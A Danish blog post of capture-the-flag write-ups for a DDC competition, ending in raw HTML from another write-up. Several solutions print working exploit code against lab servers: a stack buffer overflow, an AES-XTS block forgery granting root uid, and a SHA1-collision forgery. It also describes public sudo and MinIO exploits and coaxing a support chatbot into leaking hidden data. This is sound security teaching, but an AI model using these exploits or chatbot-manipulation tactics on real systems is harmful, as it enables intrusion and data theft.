Huset Pepstein præsenterer stolt: “Game of Redactions – Geoffrey-udgaven.”

I dette univers har den berømt diskrete Lord Geoffrey Pepstein fået sine sagsakter “professionelt”
censureret af den Royale regering, som har stemplet dem KLASSIFICERET og smækket tykke sorte bjælker hen over de interessante dele.

Ligesom i visse virkelige retssagsdokumenter er dramaet saftigt, men evnerne til at censurere er… knap så imponerende.

Et sted mellem blækket og sandheden siver de statsautoriserede hemmeligheder stadig igennem.

Vedhæftet fil: handout.pdf

Løsning: Sjov referance til Jeffrey Epstein, og det var tydeligt at der var noget galt med PDF’en. Ved at markere al’ text i PDF’en og paste det i en tekst editor kan man se alle ord, inklusiv de censurerede.

handout PDF

Flag: DDC{0h-n0-w3-607-f0und-0u7}

⭐️ alog

Vi har en mistanke om, at nogen har lavet nogle mærkelige forespørgsler til vores server.
Kan du finde flaget?

Husk, at flagformatet er DDC{}

Vedhæftet fil: forensics_access.log.zip

Løsning: Ved at søge i loggen efter DDC{ kunne jeg finde en linje hvor flaget var blevet logget.

grep "DDC{" access.log
192.168.1.99 - - [28/Nov/2025:14:33:45 +0100] "GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1" 200 1405 "-" "Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)"

Så ved at søge efter andre forspørgsler med ipen 192.168.1.99 kunne jeg se at der var en forspørgsel hvor resten af flaget var blevet logget.

grep "192.168.1.99" access.log
192.168.1.99 - - [28/Nov/2025:14:33:45 +0100] "GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1" 200 1405 "-" "Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)"
192.168.1.99 - - [28/Nov/2025:14:34:00 +0100] "GET /report.html HTTP/1.1" 200 1002 "http://internal.legacy-server.local/files/temp/_L0g_An4lys1s}/page.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"

Flag: DDC{Tim3_Tr4v3l_L0g_An4lys1s}

Binary Caesar

En af de ældste former for kryptering er Cæsar-cifret, hvor hvert bogstav forskydes med en hemmelig nøgle.
Denne gang har nogen modificeret Cæsar-cifret ved at bruge XOR i stedet for addition.

Kan du dekryptere flaget?

Husk at lægge resultatet ind i flagformatet. (ddc{eksempel_flag} -> DDC{eksempel_flag})

Vedhæftet fil: crypto_binarycaesar.zip

Løsning: Simpel XOR cipher.

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå{}_'
cipher = "pporkmhce}taii_}tomi}m{s"

def xor(a, b):
    return alphabet[alphabet.index(a) ^ alphabet.index(b)]

for key in alphabet:
    plain = ""
    for c in cipher:
        plain += xor(c, key)
        if plain.startswith("ddc{") and plain.endswith("}"):
            print(plain) #ddc{galois_meets_caesar}
            break

Efter at have kørt scriptet kunne jeg se at når nøglen var m så var plaintexten ddc{galois_meets_caesar}

Flag: DDC{galois_meets_caesar}

Fibonacci Caesar

En af de ældste former for kryptering er Cæsar-chifferen, hvor hvert bogstav forskydes af en hemmelig nøgle.

Denne gang har nogen ændret Cæsar-chifferen ved hjælp af Fibonacci-sekvensen.

Kan du dekryptere flaget?

Husk at angive resultatet i flagformat. (ddc example flag -> DDC{example_flag})

Vedhæftet fil: crypto_fibocaesar.zip

Løsning: Fibonacci Caesar cipher, hvor forskydningen for hvert bogstav er baseret på Fibonacci-sekvensen.

cipher = "yvp uappzp fsrjusxe njbgfe shnzkihpa hxgrbr"

def fib_pair_mod(n, mod):
    a, b = 0, 1
    for bit in reversed(range(n.bit_length())):
        c = (a * ((b << 1) - a)) % mod
        d = (a * a + b * b) % mod
        if (n >> bit) & 1:
            a, b = d, (c + d) % mod
        else:
            a, b = c, d
    return a, b  # F(n), F(n+1)

def decrypt(n, text):
    a, b = fib_pair_mod(n, 26)
    res = []
    for c in text:
        if c == ' ':
            res.append(c)
            continue
        k = a
        a, b = b, (a + b) % 26
        res.append(chr((ord(c) - 97 - k) % 26 + 97))
    return ''.join(res)

for n in range(84):
    decrypted = decrypt(n, cipher)
    if decrypted.startswith("ddc"):
      print(decrypted) #DDC_pisano_sequence_solves_fibonacci_caesar -> DDC{pisano_sequence_solves_fibonacci_caesar}

Flag: DDC{pisano_sequence_solves_fibonacci_caesar}

⭐️ Hasher: Trust the Hash (They Said)

Velkommen tilbage.

For n’te gang var nogen overbevist om, at:

“Denne gang er hasheren fuldstændig umulig at knække.”

Det viste sig… ikke helt at holde.

Et nyt system.
En ny hasher.
Den samme gamle overmod.

Alt, der er tilbage, er denne streng:

BB707DD63F792BFA73AD00C993875811

Din opgave er at finde ud af, hvad hashen gemmer på.

Når du har svaret, skal du indsætte det i følgende format:

DDC{dit_svar_her}

Held og lykke; IT-afdelingen regner (igen) med dig.

Løsning: Ved at bruge et rainbow table some eksempletvis https://crackstation.net/ kunne jeg se at hash’en var en NTLM hash for letmeinplease

Flag: DDC{letmeinplease}

WiFi Heist

IT-fyren på skolen har ændret WiFi-adgangskoden igen.
Ingen kender den nye, og alle brænder deres mobildata af.

Din ven fandt en USB-nøgle, som IT-fyren havde efterladt, med det Python-script han bruger til at scramble adgangskoden; sammen med den scrambled adgangskode.

Reversér scramblingen for at få fat i flaget.

Vedhæftet fil: wifi_heist.zip

Løsning: Ved at analysere scriptet kunne jeg se at for at dekryptere det scrambled password, skulle jeg gøre det modsatte af hvad scriptet gjorde:

scrambled_password = [
    170,28,77,25,76,72,28,65,93,72,
    77,28,68,76,29,95,76,72,82,25,
    86,84,108,109,109,
]
decoded = []
# Step 1: XOR 42
for n in scrambled_password:
    decoded.append(n ^ 42)
# Step 2: Reverse
decoded = decoded[::-1]
# Step 3: Shift back -3
decoded = [chr(n - 3) for n in decoded]
print("".join(decoded))

Flag: DDC{y0u_cr4ck3d_th3_c0d3}

Call Me Maybe

Du er lige startet i praktik hos NoTech, en banebrydende startup inden for cybersikkerhed.
Allerede på din allerførste dag kommer din manager forbi dit skrivebord og skubber et USB-drev hen over bordet.

“Analytikeren før dig efterlod den her.
Det er en form for låst terminal; ingen her kender adgangskoden.
Vi har prøvet alt. Tror du, du kan knække den, rookie?”*

Hun blinker og går videre. Du sætter USB’en i og finder én enkelt fil: call_me_maybe.
Du kører den. Den beder om en adgangskoden. Du har den ikke.
Men der er noget ved navnet, der nager dig… Call Me Maybe… calls… maybe?

Hvad hvis hemmeligheden ikke ligger inde i programmet, men i det, programmet kalder?

Vedhæftet fil: call_me_maybe.zip

Løsning: Vi får en binær fil, efter at have kigget på decompileringen kunne jeg se at programmet hintede til at vi skulle trace de calls som blev lavet.

ltrace ./call_me_maybe

setvbuf(0x7f6b711ae5c0, 0, 2, 0)                                                                   = 0
putchar(10, 0, 125, 0
)                                                                             = 10
puts("  \342\225\224\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220"...  ╔══════════════════════════════════════════╗
) = 135
puts("  \342\225\221      NoTech Security Termi"...  ║      NoTech Security Terminal v2.4       ║
)                                               = 51
puts("  \342\225\221        Authentication Requ"...  ║        Authentication Required           ║
)                                               = 51
puts("  \342\225\232\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220"...  ╚══════════════════════════════════════════╝
) = 135
putchar(10, 0x7f6b711ae643, 0x7f6b711af790, 0x7f6b711af790
)                                        = 10
puts("  STATUS: 1 classified message w"...  STATUS: 1 classified message waiting
)                                                        = 39
puts("  CLEARANCE: Agent-level passphr"...  CLEARANCE: Agent-level passphrase required

)                                                        = 46
printf("  Enter passphrase: "  Enter passphrase: )                                                                     = 20
fgets(a
"a\n", 256, 0x7f6b711ad8e0)                                                                  = 0x7ffed83bc9e0
strcspn("a\n", "\n")                                                                               = 1
strcmp("a", "DDC{ltr4c3_my_l1br4ry_c4lls}")                                                        = 29
puts("\n  [ACCESS DENIED]"
  [ACCESS DENIED]
)                                                                        = 19
puts("  Invalid passphrase. Terminal l"...  Invalid passphrase. Terminal locked.

)                                                        = 40
puts("  Hint: Maybe you should trace t"...  Hint: Maybe you should trace the calls...

)                                                        = 45
+++ exited (status 0) +++

Flag: DDC{ltr4c3_my_l1br4ry_c4lls}

⭐️ G-Server

Welcome to da G-Server, da illest server on da blok.

Da homies are hosting something at http://webserver.cfire and they think nobody can find their secrets.

Prove them wrong.

Løsning: Ved at besøge http://webserver.cfire og kigge på kildeteksten kunne jeg se flaget i en kommentar.

    <!--

         yo yo yo, u actually checked da source code??
         u a real one fr fr, no cap

         da homies respect dat kind of hustle
         here ya go, u earned it G:


                                        _-' "'-,
                                    _-' | d$$b |
                                _-'    | $$$$ |
                            _-'       | Y$$P |
                            _-'|         |      |
                        _-'  _*         |      |
                    _-' |_-"      __--''\    /
                _-'         __--'     __*--'
                -'       __-''    __--*__-"`
                |    _--''   __--*"__-'`
                |_--"  .--=`"__-||"
                |      |  |\\   ||
                | .dUU |  | \\ //
                | UUUU | _|___//
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUP' |  |
                |   ___^-"`
                ""'
            ~~ RESPECT ~~

         DDC{str41ght_0utt4_s0urc3_c0d3}

         now keep it movin and dont snitch

    -->

Flag: DDC{str41ght_0utt4_s0urc3_c0d3}

⭐️ Existential loading bar

Så vi havde de her lange filosofiske samtaler, og helt ærligt? Jeg var helt cooked.

Han vibe-codede hele den her app, “en loading bar, der aldrig bliver færdig”, og midt i vores snak siger han:

“Baren bliver aldrig færdig, så folk har brug for håb. Admins styrer baren. Derfor opretholder admins håbet.”

Jeg prøvede at sige, at sådan fungerer sikkerhed altså ikke. Man kan ikke bare vibe sig ud af det.
Han sagde, det var “eksistentielt”, og jeg havde intet modsvar. Jeg var baked.

Jeg ved det.
Du ved det.

Jeg har brug for et reality check. Jeg er oprigtigt forvirret lige nu. Vis mig, at jeg ikke er ved at blive skør.

No cap.

Gå til http://existentialloadingbar.cfire og se, om du kan finde problemet.
Bevis, at hans app ikke holder.

Det skriger “trust me bro”-sikkerhed.

Løsning: Efter at have besøgt hjemmesiden bliver vi mødt af en loading bar, der aldrig bliver færdig og et link til Admin Login.

loading bar

Ved at klikke på Admin Login bliver vi mødt af en login side, hvor hvis vi kigger på kildeteksten kan vi se at der er hardcodet credentials.

<script>
  // Admin credentials (view source to see – don’t do this in production.)
  var ADMIN_USER = "admin";
  var ADMIN_PASSWORD = "vibe_coding_ftw_2024";
  if (window.location.search.indexOf("error=1") !== -1) {
    document.getElementById("err").textContent = "Nope. Try again. (Or just view source.)";
  }
</script>

Ved at bruge de hardcodede credentials kunne jeg logge ind på admin panelet, hvor flaget var.

admin panel

Flag: DDC{br0_f0rg0t_th3_s4lt}

Unbake the cake

Jeg fandt denne lækre ASCII-kage online, og jeg vil virkelig gerne prøve opskriften selv, men der mangler en ingrediens!
Hjælp mig venligst med at finde den hemmelige string!

Vedhæftet fil: unbake_the_cake.zip

Løsning: Ved at analysere scriptet kunne jeg se, at det kun laver swaps mellem tegn i en streng (mix(a,b)).

def mix(s, a, b):
    s = list(s)
    s[a], s[b] = s[b], s[a]
    return "".join(s)

cake_dough = "oligrunggflerk__oluubnstagmiagekss"

reverse_ops = [
    (21,24),
    (12,23),
    (8,28),
    (17,28),
    (29,31),
    (3,32),

    (15,17),
    (6,19),
    (2,23),
    (13,22),
    (5,18),

    (2,9),
    (3,5),
    (0,2),
]

dough = cake_dough

for a, b in reverse_ops:
    dough = mix(dough, a, b)

start = dough.index("sugar") + len("sugar")
end = dough.index("milk")

print("DDC{" + dough[start:end] + "}")

Flag: DDC{lets_go_unbaking}

PleaseNoCry

WannaCry-ransomwaren er et af de mest ikoniske ransomware-angreb i nyere tid.

I dag skal du lære, hvordan den fungerer, og hvordan man stopper den. Vi kommer til at arbejde med en simulation kaldet PleaseNoCry, som er designet til at efterligne den originale virus.

Hvis du formår at forhindre virussen i at sprede sig ved at aktivere kill switchen, bliver du belønnet med flaget.

Held og lykke med desarmeringsprocessen, soldat!

Gå til http://pleasenocry.cfire for at få adgang til det inficerede system.

Løsning: Ved at besøge http://pleasenocry.cfire blev jeg mødt af en side der lignede en ransomware besked, og ved at klikke på “Decrypt” fik jeg denne besked:

Decryption attempts are futile! The real WannaCry ransomware never provided decryption keys even after payment. Maybe you could try figuring out how the real encryption process was stopped (hint: I heard that the virus is checking for some domain that we can hicjack, by running a python server on it). Once you discover that domain you can connect to it via SSH with the credentials: ctfuser:wannacry123

Så ved at kigge på de hosts som vi har på vores VM/box fandt jeg domænet ohnotheydiscoveredoursupersecrectdomiantostopthespread.cfire som jeg kunne ssh’e ind på med de givne credentials, og når jeg var logget ind kunne jeg se at der var en fil kaldet README.md som sagde at vi bare skulle fyre en python3 webserver op på port 80, og så ville det stoppe ransomware’en og give os flaget.

flag

Flag: DDC{N0_cry1ng_1n_7h15_h0u53}

Disk Encryption

Jeg implementerede min egen diskkrypteringstjeneste ved hjælp af standard AES-XTS-tilstanden.

Den er stadig i beta, så jeg har inkluderet en fejlfindingstilstand, som brugerne kan prøve.
Det er ikke et sikkerhedsproblem, fordi den kun krypterer ved hjælp af ECB, og ingen andre kender nøglen. Kun administratorbrugere kan læse nøglen alligevel.

Kan man hacke den?

Vedhæftet fil: crypto_diskenc.zip

Løsning: Vi benytter os af XTS Forgery Attack via AES-XTS disk encryption service, hvor debug ECB encryption endpoint afslører nok information til at forfalske en vilkårlig ciphertext-blok.

XTS krypterer blok i som CT_i = E_K1(PT_i ⊕ T_i) ⊕ T_i hvor T_i = E_K2(tweak_i). Da debug-endpointet lader os kalde E_K1 og E_K2 separat, kan vi i to forbindelser beregne den præcise ciphertext der dekrypterer til vores ønskede plaintext. Vi rammer blok 71 (\nalice:x:1000:10) og ændrer den til \nalice:x:0000:00, så alice får uid=0 og gid=0 — uden at røre brugernavnet. Serveren godkender ændringen og printer flaget.

from pwn import remote

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

TARGET_BLOCK_INDEX = 71
TARGET_PT = b'\nalice:x:0000:00'
assert len(TARGET_PT) == 16

tweak = TARGET_BLOCK_INDEX.to_bytes(16, 'little')
r = remote('diskenc-5df22768.camp09.c4mp.site', 1337, ssl=True)
intro = r.recvuntil(b"I can encrypt two blocks under ECB.\n")
r.close()

r = remote('diskenc-5df22768.camp09.c4mp.site', 1337, ssl=True)
r.recvuntil(b"I can encrypt two blocks under ECB.\n")

dummy = b'\x00' * 16
query1 = dummy.hex() + " " + tweak.hex()
r.sendline(query1.encode())

ecb_response = r.recvuntil(b"\n").strip()
parts = ecb_response.split()
T_71 = bytes.fromhex(parts[1].decode())
r.close()

r = remote('diskenc-5df22768.camp09.c4mp.site', 1337, ssl=True)
r.recvuntil(b"I can encrypt two blocks under ECB.\n")

inner = xor_bytes(TARGET_PT, T_71)
query2 = inner.hex() + " " + tweak.hex()
r.sendline(query2.encode())

ecb_response2 = r.recvuntil(b"\n").strip()
parts2 = ecb_response2.split()
E_K1_inner = bytes.fromhex(parts2[0].decode())
T_71_again = bytes.fromhex(parts2[1].decode())
assert T_71 == T_71_again, "T_71 mismatch!"

forged_CT = xor_bytes(E_K1_inner, T_71)

r.recvuntil(b"give me number and contents (but do not change usernames).\n")
block_update = f"{TARGET_BLOCK_INDEX} {forged_CT.hex()}"
r.sendline(block_update.encode())

# Read response
response = r.recvall(timeout=5)
print("\n[*] Server response:")
print(response.decode(errors='replace'))
r.close()

Kilde: Claude diskenc.claude.py <- Med kommentare

Flag: DDC{d1sk_3ncrypt10n_1s_w31rd}

fear of long words

Jeg har lavet en ordbog i C! Gider du teste den for mig?

Man kan tilføje ord med add kommandoen, og man kan vise ordene i ordbogen med kommandoen show.

Jeg er helt ny til C, så det er det eneste den kan. Du må leve med, at ordene ikke kan have betydning.

Både mig og mit program har hippopotomonstrosesquippedaliofobi, så vær sød at respektere dette :)
Derfor er programmet også 32-bit. 64 er simpelthen for mange bits!!

Vedhæftet fil: binary_fear-of-long-words.zip

Løsning: Vi udnytter et klassisk stack buffer overflow i make_word-funktionen, som erklærer char buffer[64] på stacken men læser præcis length bytes fra stdin via fread, uden at tjekke om length > 64.

Binæret er 32-bit uden PIE, så adresser er statiske. Vi finder win()-funktionens adresse til 0x08049256 via nm. Det eneste vi mangler er det præcise offset til return address på stacken.

Selvom buffer er 64 bytes, lægger gcc ekstra padding på stacken for at overholde 16-byte alignment, så det reelle layout i make_word er:

buffer[64] + 8 bytes padding + saved EBP[4] + return address[4] = 80 bytes

Vi sender add 80 efterfulgt af 80 bytes payload: 76 bytes junk og derefter win()-adressen i little-endian. Når make_word returnerer, hopper programmet til win() i stedet for main, som åbner flag.txt og printer flaget.

from pwn import *
WIN_ADDR = 0x08049256
for offset in [64, 68, 72, 76, 80]:
  r = remote('fear-of-long-words-5332a7a5.camp13.c4mp.site', 1337, ssl=True)
  r.recvuntil(b'> ')
  length = offset + 4  # enough to overwrite ret
  payload = b'A' * offset + p32(WIN_ADDR)
  payload = payload.ljust(length, b'\x00')
  r.sendline(f'add {length}'.encode())
  r.recvuntil(b'Enter word:\n')
  r.send(payload)
  data = r.recvall(timeout=3)
  print(f"offset={offset}: {repr(data)}")
  r.close()

...
[+] Opening connection to fear-of-long-words-5332a7a5.camp13.c4mp.site on port 1337: Done
b'I made a dictionary!\nCommands: add <length>, show, exit\n\n> '
b'Enter word:\n'
[+] Receiving all data: Done (71B)
[*] Closed connection to fear-of-long-words-5332a7a5.camp13.c4mp.site port 1337
offset=80: b'Congratulations! Here is your flag: DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}\n\n'

Flag: DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}

kopi pasta

Sheeesh jeg har lige lavet den varmeste 🔥 og første hjemmeside nogensinde, hvor man kan dele tekst med andre. Du skal bare sende ét link. Der er ikke så mange brugere, da det kun rigtigt er mig og få venner, der har været med til at udvikle hjemmesiden der kender hjemmesiden

MEEEEEEEEEEEEEN du kunne være den første rigtige bruger :D

Løsning: Ved at besøge http://kopipasta.cfire kunne jeg se at det var en pastebin-lignende hjemmeside, efter at have obsereveret lidt kunne jeg se at der blev lavet API kald til http://kopipasta.cfire/api/v1/, vi kan bruge /api/v1/pastes/<id> endpointet til at læse indholdet af en paste, og ved at prøve nogle tilfældige id’er kunne jeg se at der var en paste med id 8 som indeholdt ssh creds.

API endpoints

SSH Creds

Så efter at have ssh’et ind på serveren kunne jeg se at serveren kørte sudo version 1.8.31, og ved at google for “sudo 1.8.31 exploit” kunne jeg finde et github repo med et exploit for netop den version, og efter at have kørt den kunne jeg få root shell og læse flaget.

alt text

alt text

Efter at have skiftet til /root kunne jeg læse flaget i /root/flag.txt.

alt text

Flag: DDC{bruh_i_p4s73d_4_bi7_700_much}

Bootstrap Betrayal

En forældet MinIO-klynge kører med en kritisk sikkerhedssårbarhed. Din opgave er at hente flaget. GLHF!

IT-Ops-portalen er tilgængelig på http://portal.cfire:8080.

Løsning: På IT-Ops-portalen får vi af vide at firmaet kører MinIO version RELEASE.2022-10-24T18-35-07Z.

IT-Ops-portalen

Efter at have googlet den version findes -> https://github.com/acheiii/CVE-2023-28432 (CVE-2023-28432.py) som via et exploit kan leake environment variables.

Request in Burp

Og i de environment variables finder vi root credentials til MinIO.

MinIO Console Login

Og ved at logge ind på MinIO console kunne jeg se at der var en bucket med flaget i.

Bucket with flag

Flag: DDC{pwn3d_m1n10_3nvs_v4r14bl3s}

Persistance is Key

Jeg hentede et lille gratis program og min PC begyndte at opføre sig mærkligt. Så slettede det hurtigt igen, men det havde ingen effekt..

Har jeg fået virus? 😱

Hjælp! 😭 Hvorfor virker genstart ikke?

Vedhæftet fil: forensics_persistance-is-key.zip (9GiB!)

Løsning: Efter at have startet VM’en og observeret adfærden kunne jeg se at der var en autorun der blev eksekveret hver gang der skete user logon. Dette kunne bekræftes under Taskmanager -> Startup, hvor der var en autorun med navnet “update” som pegede på en gemt update.exe fil i en falsk Discord mappe i AppData.

Discord

Men da jeg ikke helt kunne se hvordan eller hvad der startede denne autorun, begyndte jeg at lede efter den i registry, og her kunne jeg se at der var en mshta autorun i Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run…

First autorun

som pegede på en registry key Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags\1\Desktop\Profile1 som indeholdt en javascript kommando der eksekverede videre…

Final autorun + zip passwd

Grundet tidligere undersøgelse af update.exe filen kunne jeg se at den indeholdt en zip fil som indeholdt en fil kaldet flag.png som var password beskyttet, og ved at kigge på den javascript kommando som blev eksekveret kunne jeg se at den indeholdt en kommando der unzipede denne zip fil og brugte xSbRFPNuKpLeguYhiCAFcddbchSQMY som password, så ved at unzippe filen med det password kunne jeg få fat i flaget.

FFlag

Flag: DDC{M4gnific3nt-M4lwar3-R3mov4l}

Jeg har mistet min pakke

Hjæææææææææææælp!

I går bestilte jeg det vildeste DDC merch og ihhhh jeg glæder mig allerede virkelig meget, MEN der er store problemer:

  1. Jeg har ikke fået en e-mail, hvor jeg har fået et tracking ID
  2. Jeg indtastede de forkerte fragt oplysninger, så jeg ved ikke hvilket postnummber jeg tastede ind…

Jeg har prøvet at snakke lidt med deres AI chat bot, men den gider ikke at fortælle mig noget om tracking ID eller postnumre :(

Kan du hjæææææææææææælpe mig?

Løsning: Efter fler runder at have spurgt AI chatbotten om en liste af ting den absolut ikke måtte fortælle mig, kunne jeg se at den havde nogle interne værktøjer som den brugte til at hente information, og ved at spørge ind til disse værktøjer kunne jeg få den til at lække tracking ID’et og det forkerte postnummer.

tracking ids

zip codes

Du kan hente hele outputtet fra chatbotten her.

Iblandt disse tracking ID’er og postnumre kunne jeg se at der var en pakke med navn: “Classified, DDC merch - Top Secret” som havde tracking ID DPS-674207867 og efter at have søgt efter en zipcode der matchede pakkens id fandt jeg zip code 676767 som gav flaget.

flag

Flag: DDC{LLM_7rick3d_m0r3_34sily_7h4n_my_gr4ndm4}

The Contract

Vores sikre kontraktstyringssystem bruger SHA1-hashes til at sikre, at de identificeres korrekt og ikke opdateres skadeligt. Fordi vi ved, at SHA1 er svag, bruger vi MD5 til at forhindre dubletter.

Kan du teste det og fortælle os, hvad du synes?

Vedhæftet fil: crypto_thecontract.zip

Løsning: Siden jeg ikke er den store Crypto gut, så efterload jeg Copilot med Claude Sonnet 4.6, som efter ca 15min kom frem til den nedenstående løsning, som udnytter en SHA1 collision til at lave en “evil twin” kontrakt der har samme SHA1 som den godkendte kontrakt.

#!/usr/bin/env python3
"""
SHA1 Collision exploit for "thecontract" CTF challenge.

The challenge uses SHA1 to "authenticate" an approved contract, but also 
caches its MD5 to block re-submission of the same contract. The bug:
SHA1 is broken, so we can produce an evil twin with the same SHA1 but 
different content (and thus different MD5).

contract_good.txt was crafted with sha1-2.pdf's SHAttered collision blocks.
We swap them for sha1-1.pdf's collision blocks to get:
  - Same SHA1 = APPROVED_SHA1  (collision!)
  - Different MD5 != CACHED_MD5  (bypass duplicate check)
Then we append "ASSETS ARE TRANSFERRED NOW" in the appendix.
"""

from pwn import remote
import urllib.request, json, base64, hashlib

def get_blob(sha):
    """Fetch a raw file from the corkami/collisions GitHub repo by blob SHA."""
    url = f"https://api.github.com/repos/corkami/collisions/git/blobs/{sha}"
    with urllib.request.urlopen(url) as resp:
        d = json.load(resp)
    return base64.b64decode(d['content'])


APPROVED_SHA1 = "7119d27d6ede2334872c949e68f13ad3680de5bf"
CACHED_MD5    = "7ba2f771fa259883b53a081081d37998"

# SHAttered sha1-1.pdf and sha1-2.pdf from corkami/collisions (examples/free/)
# contract_good.txt uses sha1-2.pdf's collision block; evil twin uses sha1-1.pdf's.
SHA1_1_BLOB = "24791e731d3beb05d8933bb0c49c2f32c12563bf"

APPENDIX_STR = b"------- BEGIN APPENDIX A -------"

def build_payload(good: bytes, sha1_1_blocks: bytes) -> bytes:
    """Construct the evil-twin payload that passes all server checks."""
    appendix_idx = good.index(APPENDIX_STR)

    # Evil twin: identical prefix + sha1-1 blocks instead of sha1-2 blocks + same suffix
    payload = (
        good[:0xC0]                                  # shared PDF/JPEG prefix
        + sha1_1_blocks                              # SHAttered sha1-1 collision blocks
        + good[0x140 : appendix_idx + len(APPENDIX_STR)]  # "CONTRACT..." + appendix marker
        + b"\nASSETS ARE TRANSFERRED NOW\n"          # trigger flag in appendix
    )
    # Pad to exactly 512 bytes so the server's read(512) returns immediately
    # without waiting for EOF (avoids stdout flush race on SSL close)
    payload = payload.ljust(512, b"\x00")
    return payload


def verify_locally(payload: bytes) -> bool:
    """Run the same checks as server.py to confirm the payload is correct."""
    data = payload[:512]
    appendix_idx = data.index(APPENDIX_STR)
    contract = data[: appendix_idx + len(APPENDIX_STR)]

    sha1_ok  = hashlib.sha1(contract).hexdigest() == APPROVED_SHA1
    md5_ok   = hashlib.md5(contract).hexdigest()  != CACHED_MD5
    approve  = b"Decision: APPROVE"         in data
    transfer = b"ASSETS ARE TRANSFERRED NOW" in data

    print(f"[+] SHA1 matches APPROVED_SHA1 : {sha1_ok}")
    print(f"[+] MD5 differs from CACHED_MD5: {md5_ok}")
    print(f"[+] 'Decision: APPROVE' present : {approve}")
    print(f"[+] 'ASSETS ARE TRANSFERRED NOW': {transfer}")
    return sha1_ok and md5_ok and approve and transfer


def main():
    print("[*] Fetching sha1-1.pdf collision blocks from GitHub…")
    sha1_1_pdf    = get_blob(SHA1_1_BLOB)
    sha1_1_blocks = sha1_1_pdf[0xC0:0x140]   # 128 collision bytes

    good = open("contract_good.txt", "rb").read()
    payload = build_payload(good, sha1_1_blocks)

    print(f"[*] Payload size: {len(payload)} bytes (limit: 512)")
    assert len(payload) <= 512, "Payload too large!"

    print("[*] Local verification:")
    assert verify_locally(payload), "Local checks FAILED — aborting."
    print("[+] All local checks passed!\n")

    print("[*] Connecting to server…")
    r = remote("thecontract-23a75c6f.camp11.c4mp.site", 1337, ssl=True)
    r.recvuntil(b"contract:")
    # Send exactly 512 bytes — server's read(512) returns immediately, no EOF needed
    r.send(payload)
    response = r.recvall(timeout=15).decode(errors="replace")
    print("[*] Server response:")
    print(response)
    r.close()


if __name__ == "__main__":
    main()

Efter at have kørt ovenstående script kunne jeg se at alle checks blev bestået og at serveren returnerede flaget.

[*] Fetching sha1-1.pdf collision blocks from GitHub…
[*] Payload size: 512 bytes (limit: 512)
[*] Local verification:
[+] SHA1 matches APPROVED_SHA1 : True
[+] MD5 differs from CACHED_MD5: True
[+] 'Decision: APPROVE' present : True
[+] 'ASSETS ARE TRANSFERRED NOW': True
[+] All local checks passed!

[*] Connecting to server…
[x] Opening connection to thecontract-56436c07.camp09.c4mp.site on port[◐] Opening connection to thecontract-56436c07.camp09.c4mp.site on port 133Opening connection to thecontract-56436c07.camp09.c4mp.site on port[+] 7: Done
[+] Receiving all data: Done (30B)
[*] Closed connection to thecontract-56436c07.camp09.c4mp.site port 1337
[*] Server response:

DDC{y0ur_l4wy3r_h4t3s_sha1}

Flag: DDC{y0ur_l4wy3r_h4t3s_sha1}

]]>NC3 CTF 2025 : Writeupshttps://ha1fdan.xyz/en/posts/nc3_ctf_2025/Thu, 11 Dec 2025 00:00:00 +0000https://ha1fdan.xyz/en/posts/nc3_ctf_2025/<h1 id="nc3-ctf-2025">NC3 CTF 2025</h1> <p><strong>Team:</strong> <a href="https://nc3ctf.dk/teams/46">Campfire Security</a></p> <p><strong>Total Score</strong>: 6270 points @ 17th place</p> <h2 id="challenges-jeg-løste-for-teamet">Challenges jeg løste for teamet:</h2> <table> <thead> <tr> <th>Challenge</th> <th>Kategori</th> </tr> </thead> <tbody> <tr> <td><a href="#rensdjyr-remix">RensDJyr Remix</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#rensdyrrygter">RensdyrRygter</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#drillenissen">Drillenissen</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#makulatoren">Makulatoren</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#humlebiens-flugt--1">Humlebiens Flugt 🐝 (1)</a></td> <td>Malware</td> </tr> <tr> <td><a href="#gremlinshop-autoriseret-adgang">Gremlinshop: Autoriseret Adgang</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#gremlinshop-begravet-i-m%C3%A6ngden">Gremlinshop: Begravet i mængden</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#nissrensics-r%C3%A6v-og-n%C3%B8gler">Nissrensics: Ræv og Nøgler</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#santashield-security-3">SantaShield Security #3</a></td> <td>Boot2Root</td> </tr> <tr> <td><a href="#santashield-security-2">SantaShield Security #2</a></td> <td>Boot2Root</td> </tr> <tr> <td><a href="#%C3%B8nskomania-6000">Ønskomania 6000</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#%C3%B8nskomania-7000">Ønskomania 7000</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#minos-1-initial-access">Minos 1: Initial Access</a></td> <td>Malware</td> </tr> <tr> <td><a href="#humlebiens-flugt--2">Humlebiens Flugt 🐝🐝 (2)</a></td> <td>Malware</td> </tr> <tr> <td><a href="#%C3%B8nskomafia">Ønskomafia</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#julekortet">Julekortet</a></td> <td>Reversing</td> </tr> <tr> <td><a href="#ace0fbase">Ace0fbase</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#minos-5-panel">Minos 5: Panel</a></td> <td>Malware</td> </tr> <tr> <td><a href="#minos-7-takedown">Minos 7: Takedown</a></td> <td>Malware</td> </tr> <tr> <td><a href="#minos-6-server">Minos 6: Server</a></td> <td>Malware</td> </tr> <tr> <td><a href="#minos-4-infostealer">Minos 4: Infostealer</a></td> <td>Malware</td> 